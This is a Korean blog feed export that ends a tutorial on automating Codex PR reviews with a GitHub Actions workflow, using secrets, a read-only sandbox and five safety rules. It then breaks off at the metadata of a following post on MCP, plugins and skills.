&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2070&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6Bkop/dJMcafzPnDP/fLfqZgwdF6A6ojF4O8R9r0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6Bkop/dJMcafzPnDP/fLfqZgwdF6A6ojF4O8R9r0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6Bkop/dJMcafzPnDP/fLfqZgwdF6A6ojF4O8R9r0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6Bkop%2FdJMcafzPnDP%2FfLfqZgwdF6A6ojF4O8R9r0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2070&quot; height=&quot;1094&quot; data-origin-width=&quot;2070&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;레벨 2까지 익숙해졌다면, PR이 열릴 때마다 Codex가 자동으로 리뷰 코멘트를 달아주는 환경을 만들 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f3e5f5; border-left: 4px solid #9b59b6; padding: 12px 16px; margin: 16px 0; border-radius: 4px;&quot;&gt;&lt;b&gt;레벨 3 준비물 3가지&lt;/b&gt;
&lt;ol style=&quot;margin: 8px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;GitHub 저장소&lt;/b&gt; &amp;mdash; 공개 또는 비공개 모두 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;OPENAI_API_KEY&lt;/b&gt; &amp;mdash; GitHub repository secret에 저장 (아래에서 설명)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프롬프트 파일&lt;/b&gt; &amp;mdash; 레벨 2에서 만든 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.github/codex-prompts/review.md&lt;/code&gt; 재사용 가능&lt;/li&gt;
&lt;/ol&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2116&quot; data-origin-height=&quot;1146&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QiQ3l/dJMb997qMnU/dWkwwz3CrIefM21qz6ZUpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QiQ3l/dJMb997qMnU/dWkwwz3CrIefM21qz6ZUpK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QiQ3l/dJMb997qMnU/dWkwwz3CrIefM21qz6ZUpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQiQ3l%2FdJMb997qMnU%2FdWkwwz3CrIefM21qz6ZUpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2116&quot; height=&quot;1146&quot; data-origin-width=&quot;2116&quot; data-origin-height=&quot;1146&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 28px 0 14px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-1. API key 안전하게 저장하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GitHub Actions에서는 API key를 코드에 직접 쓰면 안 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;GitHub repository secret&lt;/b&gt;에 저장하고 워크플로우에서 참조하는 방식을 쓴다. &quot;repository secret&quot;은 저장소 설정에 보관하는 암호화된 값으로, 워크플로우 파일에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;${{ secrets.이름 }}&lt;/code&gt; 형태로 꺼내 쓴다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; border: 1px solid #dee2e6; border-radius: 8px; padding: 16px 20px; margin: 16px 0;&quot;&gt;&lt;b&gt;GitHub secret 저장 방법 (3단계)&lt;/b&gt;
&lt;ol style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;저장소 페이지 &amp;rarr; &lt;b&gt;Settings&lt;/b&gt; 탭 클릭&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Secrets and variables&lt;/b&gt; &amp;rarr; &lt;b&gt;Actions&lt;/b&gt; &amp;rarr; &lt;b&gt;New repository secret&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Name: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;OPENAI_API_KEY&lt;/code&gt; / Value: 실제 API key 값 입력 후 저장&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 28px 0 14px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-2. 미니멀 워크플로우 만들기&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2118&quot; data-origin-height=&quot;1140&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boSJQJ/dJMcahxDVx1/q7I7HO7142FqEF8QQEZKuK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boSJQJ/dJMcahxDVx1/q7I7HO7142FqEF8QQEZKuK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boSJQJ/dJMcahxDVx1/q7I7HO7142FqEF8QQEZKuK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboSJQJ%2FdJMcahxDVx1%2Fq7I7HO7142FqEF8QQEZKuK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2118&quot; height=&quot;1140&quot; data-origin-width=&quot;2118&quot; data-origin-height=&quot;1140&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;아래 파일을 저장소의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.github/workflows/codex-review.yml&lt;/code&gt;로 저장한다. PR이 열리거나 업데이트될 때마다 자동으로 실행된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0fff4; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #27ae60; margin: 18px 0;&quot;&gt;&lt;b&gt;.github/workflows/codex-review.yml 예시&lt;/b&gt;
&lt;pre class=&quot;http&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 18px; border-radius: 6px; font-size: 13px; line-height: 1.6; margin: 12px 0 0; overflow-x: auto;&quot; data-ke-language=&quot;yaml&quot;&gt;&lt;code&gt;name: Codex PR Review

on:
  pull_request:
    types: [opened, synchronize, reopened]

jobs:
  review:
    runs-on: ubuntu-latest
    permissions:
      contents: read        # 코드를 읽는 권한
      pull-requests: write  # PR 코멘트를 달 수 있는 권한
    steps:
      # 1. PR의 코드를 가져온다
      - uses: actions/checkout@v5

      # 2. Codex로 리뷰한다
      - uses: openai/codex-action@v1
        id: codex
        with:
          openai-api-key: ${{ secrets.OPENAI_API_KEY }}
          prompt-file: .github/codex-prompts/review.md
          sandbox: read-only

      # 3. 리뷰 결과를 PR 코멘트로 게시한다
      - uses: actions/github-script@v7
        if: steps.codex.outputs.final-message != ''
        with:
          script: |
            github.rest.issues.createComment({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.payload.pull_request.number,
              body: process.env.REVIEW_RESULT
            })
        env:
          REVIEW_RESULT: ${{ steps.codex.outputs.final-message }}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;각 부분이 하는 일&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;on: pull_request&lt;/b&gt; &amp;mdash; PR이 새로 열리거나 커밋이 추가될 때마다 자동 실행한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;permissions&lt;/b&gt; &amp;mdash; 필요한 권한만 최소로 열어둔다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;contents: read&lt;/code&gt;는 코드 읽기, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;pull-requests: write&lt;/code&gt;는 코멘트 달기에 필요하다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;actions/checkout@v5&lt;/b&gt; &amp;mdash; PR의 코드를 내려받는다. 이게 없으면 Codex가 읽을 파일이 없다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;prompt-file&lt;/b&gt; &amp;mdash; 레벨 2에서 만든 프롬프트 파일을 그대로 재사용한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;sandbox: read-only&lt;/b&gt; &amp;mdash; CI에서도 파일 수정 없이 읽기 전용으로만 실행한다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 28px 0 14px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-3. 실제로 어떻게 보이나&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2088&quot; data-origin-height=&quot;1146&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHdeEK/dJMcafmipwG/CPECnD7L8UvKT7CmYlpTp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHdeEK/dJMcafmipwG/CPECnD7L8UvKT7CmYlpTp1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHdeEK/dJMcafmipwG/CPECnD7L8UvKT7CmYlpTp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHdeEK%2FdJMcafmipwG%2FCPECnD7L8UvKT7CmYlpTp1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2088&quot; height=&quot;1146&quot; data-origin-width=&quot;2088&quot; data-origin-height=&quot;1146&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;PR을 열면 몇 분 안에 Codex가 아래와 같은 코멘트를 자동으로 달아준다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; border-left: 4px solid #6c757d; padding: 12px 16px; margin: 14px 0; border-radius: 4px;&quot;&gt;&lt;b&gt;PR 코멘트 예시&lt;/b&gt;
&lt;pre class=&quot;vim&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 12px 14px; border-radius: 6px; font-size: 13px; margin: 10px 0 0; overflow-x: auto; white-space: pre-wrap;&quot;&gt;&lt;code&gt;## Codex 자동 리뷰 결과

발견된 문제
- src/payment/charge.ts:45 &amp;mdash; 금액 계산에 부동소수점 오류 가능성 (정수 연산 권장)
- src/payment/charge.ts:67 &amp;mdash; 결제 실패 시 롤백 처리 없음
- src/user/profile.ts:23 &amp;mdash; XSS 취약점: 사용자 입력을 innerHTML에 직접 삽입

빠진 테스트
- charge() 함수의 실패 케이스 테스트 없음

이상 없는 파일: src/utils/format.ts, src/config/index.ts&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; padding: 14px 18px; border-radius: 8px; border-left: 5px solid #dc3545; margin: 18px 0;&quot;&gt;&lt;b&gt;주의: API key는 절대 코드에 직접 쓰지 않는다&lt;/b&gt;
&lt;p style=&quot;margin: 8px 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;워크플로우 파일에 key를 직접 쓰면 저장소에 노출된다. 반드시 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;${{ secrets.OPENAI_API_KEY }}&lt;/code&gt; 형태로 참조한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3e0; border-left: 4px solid #ff9800; padding: 12px 16px; margin: 20px 0; border-radius: 4px;&quot;&gt;&lt;b&gt;레벨 3 핵심 정리&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;워크플로우 파일 1개, 프롬프트 파일 1개만 있으면 PR 자동 리뷰가 된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;API key는 GitHub secret에만 저장한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;처음에는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;read-only&lt;/code&gt;로만 시작한다. 파일 수정이나 자동 커밋은 자동화가 안정적으로 동작한 뒤 천천히 추가한다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;safety&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 40px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;자동화 안전 규칙 5가지&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2098&quot; data-origin-height=&quot;1152&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cIU0MX/dJMcab5fd8P/GHkkOi6kkz2iikeij21QD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cIU0MX/dJMcab5fd8P/GHkkOi6kkz2iikeij21QD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cIU0MX/dJMcab5fd8P/GHkkOi6kkz2iikeij21QD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcIU0MX%2FdJMcab5fd8P%2FGHkkOi6kkz2iikeij21QD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2098&quot; height=&quot;1152&quot; data-origin-width=&quot;2098&quot; data-origin-height=&quot;1152&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;자동화에서 문제가 생기는 대부분의 원인은 권한을 너무 넓게 열었거나, API key가 노출됐거나, 예상치 못한 입력이 프롬프트에 들어간 경우다. 아래 다섯 가지만 지키면 입문 단계에서 발생하는 대부분의 문제를 피할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background: #f8f9fa; border: 1px solid #dee2e6; border-radius: 10px; padding: 16px 22px; margin: 18px 0;&quot;&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;처음엔 항상 read-only로 시작한다&lt;/b&gt; &amp;mdash; 파일을 수정하거나 커밋을 만드는 자동화는 read-only 리뷰가 안정적으로 돌아간 뒤에 추가한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;API key는 코드에 직접 쓰지 않는다&lt;/b&gt; &amp;mdash; 로컬은 환경변수, CI는 GitHub secret에만 저장한다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/auth.json&lt;/code&gt; 같은 파일도 git에 커밋하지 않는다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;PR 본문이나 커밋 메시지를 프롬프트에 그대로 넣지 않는다&lt;/b&gt; &amp;mdash; 외부 기여자가 악의적인 지시문을 숨길 수 있다. 프롬프트는 내가 작성한 파일에서만 가져온다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과는 파일이나 PR 코멘트로 남긴다&lt;/b&gt; &amp;mdash; 사람이 검토할 수 있는 형태로 남아야 자동화 결과를 신뢰할 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;배포&amp;middot;push 자동화는 마지막에 추가한다&lt;/b&gt; &amp;mdash; 자동으로 코드를 수정하거나 push하는 단계는 수동 리뷰 &amp;rarr; 파일 생성 &amp;rarr; 제한된 브랜치 push 순서로 천천히 넓혀간다&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;summary&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 40px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;정리&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; margin: 16px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left;&quot;&gt;레벨&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left;&quot;&gt;핵심 명령&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left;&quot;&gt;결과&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; font-weight: bold; color: #27ae60;&quot;&gt;레벨 1&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex exec --sandbox read-only &quot;...&quot; &amp;gt; file.md&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;로컬에서 즉시 검토 결과&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; font-weight: bold; color: #0066cc;&quot;&gt;레벨 2&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;npm run codex:check&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;팀 전체가 같은 기준으로 검토&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; font-weight: bold; color: #9b59b6;&quot;&gt;레벨 3&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;PR 오픈 시 워크플로우 자동 실행&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;PR마다 자동 리뷰 코멘트&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세 레벨 모두 &lt;b&gt;read-only로 시작하고, 결과를 파일이나 코멘트로 남기는&lt;/b&gt; 원칙이 공통이다. 이 두 가지만 지키면 자동화가 실수를 만들어도 코드베이스는 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/Codex 기초 사용방법</category>
      <category>CI 자동화</category>
      <category>Codex CI CD</category>
      <category>codex exec</category>
      <category>Codex full-auto</category>
      <category>Codex non-interactive</category>
      <category>Codex 자동화</category>
      <category>Codex 파이프라인</category>
      <category>GitHub Actions Codex</category>
      <category>openai codex</category>
      <category>PR 자동 코드 리뷰</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/601</guid>
      <comments>https://goddaehee.tistory.com/601#entry601comment</comments>
      <pubDate>Wed, 13 May 2026 01:23:13 +0900</pubDate>
    </item>
    <item>
      <title>Codex CLI 입문(5) : Codex에 외부 도구 연결하기 - MCP, Plugin, Skill 사용법</title>
      <link>https://goddaehee.tistory.com/600</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;script type=&quot;application/ld+json&quot;&gt;
{
  &quot;@context&quot;: &quot;https://schema.org&quot;,
  &quot;@graph&quot;: [
    {
      &quot;@type&quot;: &quot;BlogPosting&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-6-mcp-plugins-skills.html#blogposting&quot;,
      &quot;headline&quot;: &quot;Codex MCP, Plugins, Skills: 외부 도구 연결과 작업 절차 확장&quot;,
      &quot;description&quot;: &quot;Codex에서 MCP 서버, Plugins, Skills가 각각 어떤 역할을 하는지, 외부 도구 연결과 반복 작업 자동화를 어떻게 구분해야 하는지 설명합니다.&quot;,
      &quot;inLanguage&quot;: &quot;ko-KR&quot;,
      &quot;url&quot;: &quot;https://goddaehee.tistory.com/codex-series-6-mcp-plugins-skills.html&quot;,
      &quot;mainEntityOfPage&quot;: {
        &quot;@type&quot;: &quot;WebPage&quot;,
        &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-6-mcp-plugins-skills.html&quot;
      },
      &quot;author&quot;: {
        &quot;@type&quot;: &quot;Person&quot;,
        &quot;name&quot;: &quot;갓대희&quot;,
        &quot;url&quot;: &quot;https://goddaehee.tistory.com&quot;
      },
      &quot;publisher&quot;: {
        &quot;@type&quot;: &quot;Organization&quot;,
        &quot;name&quot;: &quot;갓대희의 블로그&quot;,
        &quot;url&quot;: &quot;https://goddaehee.tistory.com&quot;
      },
      &quot;datePublished&quot;: &quot;2026-05-06&quot;,
      &quot;dateModified&quot;: &quot;2026-05-07&quot;,
      &quot;articleSection&quot;: &quot;OpenAI Codex 개발자 시리즈&quot;,
      &quot;keywords&quot;: [
        &quot;Codex MCP&quot;,
        &quot;Codex Plugins&quot;,
        &quot;Codex Skills&quot;,
        &quot;MCP 서버&quot;,
        &quot;AI 도구 연결&quot;
      ]
    },
    {
      &quot;@type&quot;: &quot;BreadcrumbList&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-6-mcp-plugins-skills.html#breadcrumb&quot;,
      &quot;itemListElement&quot;: [
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 1,
          &quot;name&quot;: &quot;Home&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com&quot;
        },
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 2,
          &quot;name&quot;: &quot;OpenAI Codex 개발자 시리즈&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com/category/AI%20Tools/Codex&quot;
        },
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 3,
          &quot;name&quot;: &quot;Codex MCP, Plugins, Skills&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com/codex-series-6-mcp-plugins-skills.html&quot;
        }
      ]
    },
    {
      &quot;@type&quot;: &quot;FAQPage&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-6-mcp-plugins-skills.html#faq&quot;,
      &quot;mainEntity&quot;: [
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;MCP는 Codex에서 어떤 역할을 하나?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;MCP는 Codex가 저장소 밖의 도구나 데이터 소스와 연결되는 통로다. 이슈 트래커, 문서, 브라우저, 내부 API 같은 외부 맥락을 작업에 포함할 때 필요하다.&quot;
          }
        },
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;Plugins와 Skills는 어떻게 구분하면 되나?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;Plugin은 여러 기능이나 도구 묶음을 제공하는 확장 단위에 가깝고, Skill은 특정 작업 절차나 실행 패턴을 재사용하기 위한 지침 단위로 이해하면 쉽다.&quot;
          }
        },
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;MCP 서버를 추가할 때 가장 조심할 점은 무엇인가?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;인증 정보, 네트워크 접근, 사용 가능한 도구 범위, 타임아웃을 확인해야 한다. 외부 도구 연결은 편리하지만 권한 경계가 넓어질 수 있기 때문이다.&quot;
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;
